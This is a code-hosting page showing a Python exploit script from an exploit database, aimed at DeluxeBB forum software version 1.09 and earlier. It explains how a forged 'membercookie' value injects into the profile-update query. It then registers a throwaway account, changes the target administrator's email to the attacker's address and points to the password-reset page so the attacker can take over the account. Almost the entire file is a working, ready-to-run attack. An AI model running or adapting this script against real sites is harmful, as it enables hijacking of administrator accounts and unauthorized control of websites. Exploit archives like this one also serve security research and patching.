PageRenderTime 45ms CodeModel.GetById 17ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/4661.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 126 lines | 120 code | 2 blank | 4 comment | 1 complexity | 62c782e69b26dce66ccb5cbd4627f031 MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/python
  2. #-*- coding: iso-8859-15 -*-
  3. '''
  4. _ __ _____ _____ _ __
  5. | '_ \ / _ \ \/ / _ \ '_ \
  6. | | | | __/> < __/ | | |
  7. |_| |_|\___/_/\_\___|_| |_|
  8. ------------------------------------------------------------------------------------------------
  9. ç DeluxeBB 0day Remote Change Admin's credentials §
  10. ------------------------------------------------------------------------------------------------
  11. nexen
  12. ------------------------------------------------------------------------------------------------
  13. PoC / Bug Explanation:
  14. When you update your profile,
  15. DeluxeBB execute a vulnerable query:
  16. $db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')");
  17. So, editing cookie "membercookie" you can change remote user's email.
  18. Enjoy ;)
  19. ------------------------------------------------------------------------------------------------
  20. '''
  21. import httplib, urllib, sys, md5
  22. from random import randint
  23. print "\n########################################################################################"
  24. print " DeluxeBB <= 1.09 Remote Admin's/User's Email Change "
  25. print " "
  26. print " Vulnerability Discovered By Nexen "
  27. print " Greetz to The:Paradox that Coded the Exploit. "
  28. print " "
  29. print " Usage: "
  30. print " %s [Target] [VictimNick] [Path] [YourEmail] [AdditionalFlags] " % (sys.argv[0])
  31. print " "
  32. print " Additional Flags: "
  33. print " -id34 -passMypassword -port80 "
  34. print " "
  35. print " Example: "
  36. print " python %s 127.0.0.1 admin /DeluxeBB/ me@it.com -port81 " % (sys.argv[0])
  37. print " "
  38. print "########################################################################################\n"
  39. if len(sys.argv)<=4: sys.exit()
  40. else: print "[.]Exploit Starting."
  41. target = sys.argv[1]
  42. admin_nick = sys.argv[2]
  43. path = sys.argv[3]
  44. real_email = sys.argv[4]
  45. botpass = "the-new-administrator"
  46. rand = randint(1, 99999)
  47. dn1 = 0
  48. dn2 = 0
  49. dn3 = 0
  50. try:
  51. for line in sys.argv[:]:
  52. if line.find('-pass') != -1 and dn1 == 0:
  53. upass = line.split('-pass')[1]
  54. dn1 = 1
  55. elif line.find('-pass') == -1 and dn1 == 0:
  56. upass = ""
  57. if line.find('-id') != -1 and dn2 == 0:
  58. userid = line.split('-id')[1]
  59. dn2 = 1
  60. elif line.find('-id') == -1 and dn2 == 0:
  61. userid = ""
  62. if line.find('-port') != -1 and dn3 == 0:
  63. port = line.split('-port')[1]
  64. dn3 = 1
  65. elif line.find('-port') == -1 and dn3 == 0:
  66. port = "80"
  67. except:
  68. sys.exit("[-]Some error in Additional Flag.")
  69. if upass=="" and userid != "" or userid == "" and upass != "":
  70. print "[-]Bad Additional flags -id -pass given, ignoring them."
  71. upass=""
  72. userid=""
  73. ############################################################################################Trying to connect.
  74. try:
  75. conn = httplib.HTTPConnection(target,port)
  76. conn.request("GET", "")
  77. except: sys.exit("[-]Cannot connect. Check Target.")
  78. ############################################################################################Registering a new user if id or upass not defined
  79. try:
  80. conn = httplib.HTTPConnection(target,port)
  81. if upass == "" or userid == "":
  82. conn.request("POST", path + "misc.php?sub=register", urllib.urlencode({'submit': 'Register','name': 'th331337.%d' % (rand) , 'pass': botpass,'pass2': botpass,'email': 'root%d@yoursystemgotpowned.it' % (rand) }), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded"})
  83. response = conn.getresponse()
  84. cookies = response.getheader('set-cookie').split(";")
  85. #print "\n\nth331337.%d \n\nthe-new-administrator" % (rand)
  86. print "[.]Registering a new user. -->",response.status, response.reason
  87. conn.close()
  88. ############################################################################################Getting memberid in Cookies
  89. for line in cookies[:]:
  90. if line.find('memberid') != -1:
  91. mid = line.split('memberid=')[1]
  92. ############################################################################################Isset like starts
  93. try: mid
  94. except NameError: sys.exit("[-]Can't Get \"memberid\". Failed. Something has gone wrong. If you have not done yet, you may have to register manually and use flags -id -pass")
  95. except AttributeError:
  96. sys.exit("[-]AttributeError Check your Target/path.")
  97. ############################################################################################Doing some Md5
  98. if upass=="" or userid=="":
  99. hash = md5.new()
  100. hash.update(botpass)
  101. passmd5 = hash.hexdigest()
  102. else:
  103. hash = md5.new()
  104. hash.update(upass)
  105. passmd5 = hash.hexdigest()
  106. mid = userid
  107. ############################################################################################Updating "victim" email in Profile
  108. conn = httplib.HTTPConnection(target,port)
  109. conn.request("POST", path+"cp.php?sub=settings", urllib.urlencode({'submit': 'Update','xemail': real_email}), {"Accept": "text/plain","Cookie": "memberid="+mid+"; membercookie="+admin_nick+";memberpw="+passmd5+";" ,"Content-type": "application/x-www-form-urlencoded"})
  110. response = conn.getresponse()
  111. print "[.]Changing \""+admin_nick+"\" Email With \"" + real_email + "\" -->",response.status, response.reason
  112. conn.close()
  113. print "[+]All Done! Email changed!!!\n\n You can reset \""+admin_nick+"\" password here -> "+target+path+"misc.php?sub=lostpw :D\n\n Have Fun =)\n"
  114. # milw0rm.com [2007-11-26]